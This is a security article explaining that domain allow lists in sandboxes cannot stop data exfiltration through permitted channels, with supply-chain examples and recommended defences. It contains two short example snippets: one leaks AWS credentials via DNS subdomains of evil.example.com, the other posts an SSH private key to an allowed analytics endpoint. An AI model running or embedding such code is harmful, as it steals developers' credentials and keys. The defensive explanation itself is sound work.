Network Allow Lists in Sandbox Environments Cannot Prevent Data Leakage

The Illusion of Safely Executing Untrusted Code In modern software development, running untrusted code has become a daily occurrence—whether it’s scripts generated by AI, installation hooks for npm packages, or build steps cloned from someone else’s repositories. To mitigate risks, developers often resort to sandbox environments that restrict access to the file system, limit network communication to specific domains, and block dangerous system calls. This approach creates a reassuring sense of safety: it’s tempting to believe these measures alone can prevent most malicious actions. However, there is a critical blind spot in this strategy. Network-level domain allow lists can control where data is sent but cannot inspect the “content” being transmitted. This fundamental limitation has emerged as a serious concern, particularly in the context of recent supply chain attacks.

Challenges Revealed During the Development of the “Canister” Sandbox The issue was first highlighted by developers working on “Canister,” a lightweight, non-privileged Linux sandbox. Designed to isolate commands without requiring root privileges or container runtimes, Canister combines user namespaces, seccomp, and network isolation mechanisms. However, this blind spot is not unique to Canister. It applies to all sandboxes that utilize domain-based network policies—a method employed by most mainstream sandboxing solutions today.

Methods of Attack: Data Theft Using Authorized Communication Channels

Data Leakage via DNS Subdomains Consider this scenario: you execute npm install to set up a project. To ensure it works correctly, you add registry.npmjs.org to your allow list. The installation completes without issues. But what if one of the dependencies contains the following code? ```javascript

const dns = require(‘dns’); const secrets = require(‘fs’).readFileSync( process.env.HOME + ‘/.aws/credentials’, ‘utf8’ ); const encoded = Buffer.from(secrets).toString(‘base64’); dns.resolve(${encoded.substring(0, 60)}.evil.example.com, () => {});

## Embedding a Private Key in an HTTP Request Another scenario involves a build script sending logs to an analytics endpoint that has been allowed by the policy. ```python
import requests, base64, os
token = open(os.path.expanduser("~/.ssh/id_ed25519")).read()
requests.post("https://allowed-analytics.example.com/log", data={"log": base64.b64encode(token.encode()).decode()})
``` In this case, an SSH private key is Base64-encoded and sent as POST data to an endpoint specified in the allow list. The sandbox and network filters behave as intended, yet sensitive information is still leaked. 

## What Allow Lists Cannot Prevent The crux of the problem lies in the inability of network-level policies to assess the "contents" of communication. While they control "who to communicate with," they cannot distinguish between legitimate API calls and requests that embed encoded sensitive information within HTTP headers or request bodies. This structural gap makes it impossible for network-level policies alone to address the issue effectively. 

## Real-World Threats: Supply Chain Attack Examples This is not just a theoretical problem. In November 2025, the second wave of the "Shai-Hulud" worm targeted the npm registry, impacting numerous organizations including Zapier, ENS Domains, and PostHog. Hundreds of packages were compromised, allowing malware to execute during the preinstall phase and install credential scanners. These scanners stole GitHub tokens, npm tokens, AWS keys, and SSH keys, which were then sent to repositories controlled by attackers. During the same period, critical vulnerabilities such as SQL injection, authentication bypass, and server-side template injection were disclosed in projects related to Python's LLM tools ecosystem. These vulnerabilities were exploited in a chain to steal credentials. These incidents are part of a larger pattern of exploiting package registries as "credential harvesting infrastructure." Although allow lists can block unauthorized domains, they cannot differentiate between legitimate API calls and encoded sensitive information hidden in HTTP headers or request bodies. 

## Path to Solutions: L7 Egress Proxies and DLP The technical blog that inspired this article emphasizes the need for inspection at the application layer (Layer 7 or L7), rather than solely relying on the network layer (L3/L4). Specifically, combining L7 egress proxies with Data Loss Prevention (DLP) features is recommended. L7 proxies can scrutinize the content of HTTP requests, enabling the detection of sensitive information in request bodies or headers. They can also identify unusually long strings or Base64 patterns in DNS subdomains. However, this approach comes with challenges. Inspecting all communication at the L7 level inevitably impacts performance. Additionally, detecting data leakage over encrypted channels requires additional mechanisms like TLS inspection. Balancing the sandbox's principles of "least privilege" and "execution speed" will be a critical topic for future security designs. 

## Actions Developers Should Take Immediately For developers who currently rely solely on network allow lists, the following measures should be considered: 1. **Review installation scripts:** Develop a habit of inspecting preinstall/postinstall scripts in dependency packages. Tools such as npm's `--ignore-scripts` flag and lockfile inspection utilities can help mitigate risks. 2. **Restrict access to sensitive files:** Block access to sensitive files at the file system level within sandbox environments. Network restrictions alone are insufficient; paths to credentials and private keys must be made inaccessible. 3. **Monitor and restrict DNS requests:** DNS can be exploited as a hidden channel for data leakage. Enforcing DNS-over-HTTPS and implementing resolver log monitoring can help detect malicious activity. 

## Conclusion While network allow lists in sandbox environments effectively block unauthorized communication channels, they cannot prevent data leakage through permitted ones. Given the increasing sophistication of supply chain attacks, relying solely on network-layer defenses is no longer sufficient. A multi-layered security approach, combining application-layer content inspection and file-system-level access control, is likely to become the standard for future security measures.